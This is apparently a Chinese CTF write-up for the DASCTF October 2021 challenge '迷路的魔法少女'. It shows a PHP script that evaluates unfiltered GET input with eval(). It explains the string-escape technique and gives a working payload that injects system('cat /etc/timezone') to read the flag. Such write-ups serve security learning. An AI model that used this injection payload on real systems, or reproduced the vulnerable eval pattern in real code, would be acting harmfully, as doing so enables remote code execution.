[DASCTF Oct 2021]迷路的魔法少女
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
代码的意思将GET方法传的参数编程数组之后通过eval()
函数进行赋值给另外一个变量,但是这里将字符串转换成数组的过程没有进行任何过滤,导致输入的内容很容易就逃逸出数组的范围,造成任意命令执行。
字符逃逸
观察字符赋值的内容
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
通过循环将传入的两个数组进行字符串的拼接来构成一个生成数组的字符串,但是我们通过传入");//
这样的方式,就能够把数组闭合起来,而且还能将后面的内容给注释掉,相当于SQL注入闭合掉拼接的语句那样:
$attrstr = array("0" => "");//"xxxxx);"
更进一步在;
后面输入另外一条语句,如");phpinfo();//
:
$attrstr = array("0" => "");phpinfo();//"xxxxx);"
这么一来就能够任意代码执行了,查看根目录下的 flag.sh,可以看到将flag放到了 /etc/timezone 目录,因此最终payload:
?attrid[0]=0&attrvalue[0]=");system('cat /etc/timezone');//
|´・ω・)ノ